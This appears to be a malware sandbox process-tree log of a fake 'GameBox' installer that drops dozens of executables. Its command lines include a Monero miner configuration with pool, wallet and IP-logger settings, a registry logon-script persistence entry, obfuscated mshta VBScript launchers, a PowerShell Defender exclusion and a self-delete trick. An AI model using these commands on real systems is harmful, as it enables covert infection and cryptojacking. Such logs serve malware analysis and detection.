C:\Users\Admin\AppData\Local\Temp\is-3CTKT.tmp\builder.exe"C:\Users\Admin\AppData\Local\Temp\is-3CTKT.tmp\builder.exe" -algo'' -pool'stratum+tcp://xmr-asia1.nanopool.org:14444' -wallet'42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s' -load'50' -idleload'50' -loggerSa'2no.co' -loggerS'1C6Ua7' -loggerRa'iplogger.org' -loggerR'1cmAy7' -loggerWa'2no.co' -loggerW'' -ico'' -glue'' -error'' -worker'' -icrypt'' -sremoval'' -ntask'SystemCheck' -ptask'System\' -atask'Microsoft_Corporation' -dtask'Starts_a_system_diagnostics_application_to_scan_for_errors_and_performance_problems.' -pinstall'Roaming\Microsoft\Windows\' -ninstall'Helper' -sinstall'-SystemCheck'7⤵PID:6220
-
C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"5⤵
- Executes dropped EXE
PID:5892 -
C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent5⤵
- Executes dropped EXE
PID:5956 -
C:\Users\Admin\AppData\Local\Temp\is-8N9LV.tmp\Inlog.tmp"C:\Users\Admin\AppData\Local\Temp\is-8N9LV.tmp\Inlog.tmp" /SL5="$1033A,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:5280 -
C:\Users\Admin\AppData\Local\Temp\is-E48VT.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-E48VT.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7217⤵PID:6628
-
C:\Users\Admin\AppData\Local\Temp\is-3IQP1.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-3IQP1.tmp\Setup.tmp" /SL5="$20358,17366757,721408,C:\Users\Admin\AppData\Local\Temp\is-E48VT.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7218⤵PID:6892
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-V9AK8.tmp\{app}\microsoft.cab -F:* %ProgramData%9⤵PID:4536
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-V9AK8.tmp\{app}\microsoft.cab -F:* C:\ProgramData10⤵PID:1448
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f9⤵PID:3308
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f10⤵PID:7092
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^¶m=7219⤵PID:2036
-
C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"9⤵PID:8468
-
C:\Users\Admin\AppData\Local\Temp\is-V9AK8.tmp\{app}\vdi_compiler.exe"C:\Users\Admin\AppData\Local\Temp\is-V9AK8.tmp\{app}\vdi_compiler"9⤵PID:8352
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-V9AK8.tmp\{app}\vdi_compiler.exe"10⤵PID:5644
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 411⤵
- Runs ping.exe
PID:9052 -
C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent5⤵
- Executes dropped EXE
PID:6088 -
C:\Users\Admin\AppData\Local\Temp\is-K7290.tmp\WEATHER Manager.tmp"C:\Users\Admin\AppData\Local\Temp\is-K7290.tmp\WEATHER Manager.tmp" /SL5="$20342,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent6⤵PID:5844
-
C:\Users\Admin\AppData\Local\Temp\is-PDEQU.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-PDEQU.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=7157⤵PID:508
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-PDEQU.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-PDEQU.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629492175 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"8⤵PID:5260
-
C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1076 -
C:\Users\Admin\AppData\Local\Temp\is-GPG07.tmp\VPN.tmp"C:\Users\Admin\AppData\Local\Temp\is-GPG07.tmp\VPN.tmp" /SL5="$20390,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5992 -
C:\Users\Admin\AppData\Local\Temp\is-8JMUN.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-8JMUN.tmp\Setup.exe" /silent /subid=7207⤵PID:4476
-
C:\Users\Admin\AppData\Local\Temp\is-NR66T.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-NR66T.tmp\Setup.tmp" /SL5="$701D6,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-8JMUN.tmp\Setup.exe" /silent /subid=7208⤵PID:5572
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "9⤵PID:8308
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090110⤵PID:9048
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "9⤵PID:3936
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090110⤵PID:8420
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall9⤵PID:4600
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install9⤵PID:8420
-
C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"5⤵
- Executes dropped EXE
PID:5328 -
C:\Users\Admin\AppData\Roaming\4465980.exe"C:\Users\Admin\AppData\Roaming\4465980.exe"6⤵PID:5008
-
C:\Users\Admin\AppData\Roaming\2599155.exe"C:\Users\Admin\AppData\Roaming\2599155.exe"6⤵PID:1860
-
C:\Users\Admin\AppData\Roaming\5888305.exe"C:\Users\Admin\AppData\Roaming\5888305.exe"6⤵PID:3416
-
C:\Users\Admin\AppData\Roaming\1429971.exe"C:\Users\Admin\AppData\Roaming\1429971.exe"6⤵PID:5680
-
C:\Users\Admin\AppData\Roaming\7144436.exe"C:\Users\Admin\AppData\Roaming\7144436.exe"6⤵PID:4920
-
C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"5⤵PID:6032
-
C:\Users\Admin\Documents\FtQjW8tS57MeDc4dZwfRzGF2.exe"C:\Users\Admin\Documents\FtQjW8tS57MeDc4dZwfRzGF2.exe"6⤵PID:7324
-
C:\Users\Admin\Documents\FtQjW8tS57MeDc4dZwfRzGF2.exe"C:\Users\Admin\Documents\FtQjW8tS57MeDc4dZwfRzGF2.exe"7⤵PID:9976
-
C:\Users\Admin\Documents\ngwQxUuZDTAoSc5Oavov47lE.exe"C:\Users\Admin\Documents\ngwQxUuZDTAoSc5Oavov47lE.exe"6⤵PID:7404
-
C:\Users\Admin\Documents\hOYjXlLEbEWsNaWnVn6z1y1g.exe"C:\Users\Admin\Documents\hOYjXlLEbEWsNaWnVn6z1y1g.exe"6⤵PID:7496
-
C:\Users\Admin\Documents\AQ_IfgNrajnAdjRyU2EFjYp5.exe"C:\Users\Admin\Documents\AQ_IfgNrajnAdjRyU2EFjYp5.exe"6⤵PID:7488
-
C:\Users\Admin\Documents\p53bAvm0wRSEO3hp00c8sPbC.exe"C:\Users\Admin\Documents\p53bAvm0wRSEO3hp00c8sPbC.exe"6⤵PID:7388
-
C:\Users\Admin\Documents\L6xr7mRqJN23qE9dYJwjsuhU.exe"C:\Users\Admin\Documents\L6xr7mRqJN23qE9dYJwjsuhU.exe"6⤵PID:7340
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIpT: ClOsE (CrEaTeobjeCt ( "WsCRIPt.SHELl"). RUN( "cmD.EXe /C coPy /y ""C:\Users\Admin\Documents\L6xr7mRqJN23qE9dYJwjsuhU.exe"" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo &IF """" == """" for %j iN (""C:\Users\Admin\Documents\L6xr7mRqJN23qE9dYJwjsuhU.exe"" ) do taskkill -im ""%~NXj"" -f " , 0, tRue ) )7⤵PID:7688
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C coPy /y "C:\Users\Admin\Documents\L6xr7mRqJN23qE9dYJwjsuhU.exe" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo&IF "" == "" for %j iN ("C:\Users\Admin\Documents\L6xr7mRqJN23qE9dYJwjsuhU.exe" ) do taskkill -im "%~NXj" -f8⤵PID:5916
-
C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.ExeZ2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo9⤵PID:3964
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIpT: ClOsE (CrEaTeobjeCt ( "WsCRIPt.SHELl"). RUN( "cmD.EXe /C coPy /y ""C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.Exe"" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo &IF ""-PMrvgB7ejl2YIjc3PC8aTZbo"" == """" for %j iN (""C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.Exe"" ) do taskkill -im ""%~NXj"" -f " , 0, tRue ) )10⤵PID:4316
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C coPy /y "C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.Exe" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo&IF "-PMrvgB7ejl2YIjc3PC8aTZbo" == "" for %j iN ("C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.Exe" ) do taskkill -im "%~NXj" -f11⤵PID:7108
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\HwWYSzK.F2,zgr10⤵PID:8984
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "L6xr7mRqJN23qE9dYJwjsuhU.exe" -f9⤵
- Kills process with taskkill
PID:8044 -
C:\Users\Admin\Documents\l54l_LGGaVVYvFh3avw71pv5.exe"C:\Users\Admin\Documents\l54l_LGGaVVYvFh3avw71pv5.exe"6⤵PID:7316
-
C:\Users\Admin\Documents\I9XUEfDcTWLn0vJkcw199ei8.exe"C:\Users\Admin\Documents\I9XUEfDcTWLn0vJkcw199ei8.exe"6⤵PID:7308
-
C:\Users\Admin\Documents\XVloOeF20ag5LV35Z9SnIXZu.exe"C:\Users\Admin\Documents\XVloOeF20ag5LV35Z9SnIXZu.exe"6⤵PID:7300
-
C:\Users\Admin\Documents\4wCxLEzGWISs2f4ZjPqOBq_A.exe"C:\Users\Admin\Documents\4wCxLEzGWISs2f4ZjPqOBq_A.exe"6⤵PID:7292
-
C:\Users\Admin\Documents\Db9pzHt5UJsOqsDOzJO0gCYW.exe"C:\Users\Admin\Documents\Db9pzHt5UJsOqsDOzJO0gCYW.exe"6⤵PID:7284
-
C:\Users\Admin\Documents\ebpHtBLoaBBChoqtWE8LoUM2.exe"C:\Users\Admin\Documents\ebpHtBLoaBBChoqtWE8LoUM2.exe"6⤵PID:7856
-
C:\Users\Admin\Documents\B6f1VztMKMTNgd3dF7mZd18A.exe"C:\Users\Admin\Documents\B6f1VztMKMTNgd3dF7mZd18A.exe"6⤵PID:8124
-
C:\Users\Admin\AppData\Roaming\7953891.exe"C:\Users\Admin\AppData\Roaming\7953891.exe"7⤵PID:9200
-
C:\Users\Admin\AppData\Roaming\4525588.exe"C:\Users\Admin\AppData\Roaming\4525588.exe"7⤵PID:6888
-
C:\Users\Admin\AppData\Roaming\4944298.exe"C:\Users\Admin\AppData\Roaming\4944298.exe"7⤵PID:6040
-
C:\Users\Admin\AppData\Roaming\8652159.exe"C:\Users\Admin\AppData\Roaming\8652159.exe"7⤵PID:7772
-
C:\Users\Admin\Documents\Oof6Fa0W8igjJ9a9dKT_z9Z0.exe"C:\Users\Admin\Documents\Oof6Fa0W8igjJ9a9dKT_z9Z0.exe"6⤵PID:8172
-
C:\Users\Admin\Documents\HaFS0pLPCsj4Rnci4suHB7pq.exe"C:\Users\Admin\Documents\HaFS0pLPCsj4Rnci4suHB7pq.exe"6⤵PID:6844
-
C:\Users\Admin\Documents\fZ4vO1hVx_ZvNPcdLLuHKtyy.exe"C:\Users\Admin\Documents\fZ4vO1hVx_ZvNPcdLLuHKtyy.exe"6⤵PID:7352
-
C:\Users\Admin\Documents\zx4fxWoOObqEygDg9UOgrk8A.exe"C:\Users\Admin\Documents\zx4fxWoOObqEygDg9UOgrk8A.exe"6⤵PID:8108
-
C:\Users\Admin\Documents\zx4fxWoOObqEygDg9UOgrk8A.exe"C:\Users\Admin\Documents\zx4fxWoOObqEygDg9UOgrk8A.exe"7⤵
- Executes dropped EXE
PID:6032 -
C:\Users\Admin\Documents\UpfToVGV41SfC8hlwsDciC8x.exe"C:\Users\Admin\Documents\UpfToVGV41SfC8hlwsDciC8x.exe"6⤵PID:7980
-
C:\Users\Admin\Documents\gEFD4lfjIyWkzAnHmH0MWQhi.exe"C:\Users\Admin\Documents\gEFD4lfjIyWkzAnHmH0MWQhi.exe"6⤵PID:7892
-
C:\Users\Admin\Documents\7eXxJkHTrnavqVGsMtEMJYk9.exe"C:\Users\Admin\Documents\7eXxJkHTrnavqVGsMtEMJYk9.exe"6⤵PID:7848
-
C:\Users\Admin\Documents\7eXxJkHTrnavqVGsMtEMJYk9.exeC:\Users\Admin\Documents\7eXxJkHTrnavqVGsMtEMJYk9.exe7⤵PID:7872
-
C:\Users\Admin\Documents\Z7TyVEiT3UKmO31HKQhVusEF.exe"C:\Users\Admin\Documents\Z7TyVEiT3UKmO31HKQhVusEF.exe"6⤵PID:7840
-
C:\Users\Admin\Documents\Z7TyVEiT3UKmO31HKQhVusEF.exe"C:\Users\Admin\Documents\Z7TyVEiT3UKmO31HKQhVusEF.exe"7⤵PID:4976
-
C:\Users\Admin\Documents\uekqvAnffXH_60h3Y0ZZ6toS.exe"C:\Users\Admin\Documents\uekqvAnffXH_60h3Y0ZZ6toS.exe"6⤵PID:7832
-
C:\Users\Admin\Documents\atgLUs2Gtkqcpt5llyr8IUeX.exe"C:\Users\Admin\Documents\atgLUs2Gtkqcpt5llyr8IUeX.exe"6⤵PID:7824
-
C:\Users\Admin\Documents\atgLUs2Gtkqcpt5llyr8IUeX.exe"C:\Users\Admin\Documents\atgLUs2Gtkqcpt5llyr8IUeX.exe"7⤵PID:9132
-
C:\Users\Admin\Documents\U_gEixRJ2r5CSkLqug_5LU8Y.exe"C:\Users\Admin\Documents\U_gEixRJ2r5CSkLqug_5LU8Y.exe"6⤵PID:7816
-
C:\Users\Admin\Documents\4GFW_78rkYYiy6x5VcWBEy1L.exe"C:\Users\Admin\Documents\4GFW_78rkYYiy6x5VcWBEy1L.exe"6⤵PID:4732
-
C:\Users\Admin\AppData\Local\Temp\is-TV478.tmp\4GFW_78rkYYiy6x5VcWBEy1L.tmp"C:\Users\Admin\AppData\Local\Temp\is-TV478.tmp\4GFW_78rkYYiy6x5VcWBEy1L.tmp" /SL5="$50242,138429,56832,C:\Users\Admin\Documents\4GFW_78rkYYiy6x5VcWBEy1L.exe"7⤵PID:5960
-
C:\Users\Admin\AppData\Local\Temp\is-GP2KD.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-GP2KD.tmp\Setup.exe" /Verysilent8⤵PID:8440
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"9⤵PID:5624
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629492175 /qn CAMPAIGN=""710"" " CAMPAIGN="710"10⤵PID:8700
-
C:\Users\Admin\Documents\GM04WEdoNjYXRb26GCnGZ6OT.exe"C:\Users\Admin\Documents\GM04WEdoNjYXRb26GCnGZ6OT.exe"6⤵PID:6852
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\GM04WE~1.DLL,s C:\Users\Admin\DOCUME~1\GM04WE~1.EXE7⤵PID:8108
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\GM04WE~1.DLL,mF85aQ==8⤵PID:2436
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\GM04WE~1.DLL9⤵PID:1252
-
C:\Users\Admin\Documents\jZsMRgR2OUZkIzrtlQWcdfXe.exe"C:\Users\Admin\Documents\jZsMRgR2OUZkIzrtlQWcdfXe.exe"6⤵PID:6300
-
C:\Users\Admin\Documents\jZsMRgR2OUZkIzrtlQWcdfXe.exe"C:\Users\Admin\Documents\jZsMRgR2OUZkIzrtlQWcdfXe.exe" -q7⤵PID:5404
-
C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"5⤵
- Executes dropped EXE
PID:5808 -
C:\Users\Admin\AppData\Local\Temp\tmp2EAD_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp2EAD_tmp.exe"6⤵PID:5616
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\System32\dllhost.exe"7⤵PID:4400
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks7⤵PID:6864
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:6208
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks9⤵PID:9192
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comEsplorarne.exe.com i9⤵PID:8880
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i10⤵PID:9132
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i11⤵PID:5780
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i12⤵PID:3672
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i13⤵PID:6800
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i14⤵PID:4672
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i15⤵PID:8924
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i16⤵PID:4572
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i17⤵PID:9168
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i18⤵PID:8824
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i19⤵PID:8124
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i20⤵PID:8280
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i21⤵PID:6472
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i22⤵PID:5368
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i23⤵PID:7132
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i24⤵PID:8080
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i25⤵PID:6556
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i26⤵PID:64
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i27⤵PID:5548
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i28⤵PID:7372
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i29⤵PID:7540
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i30⤵PID:5056
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i31⤵PID:5864
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i32⤵PID:4048
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i33⤵PID:1176
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i34⤵PID:6432
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i35⤵PID:8056
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i36⤵PID:9088
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i37⤵PID:5828
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i38⤵PID:5156
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i39⤵PID:7712
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i40⤵PID:208
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i41⤵PID:4600
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i42⤵PID:9144
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i43⤵PID:7712
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i44⤵PID:7556
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i45⤵PID:5740
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i46⤵PID:9144
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i47⤵PID:7376
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i48⤵PID:6688
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i49⤵PID:1848
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i50⤵PID:6896
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i51⤵PID:3920
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i52⤵PID:9112
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i53⤵PID:1848
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i54⤵PID:3756
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i55⤵PID:5384
-
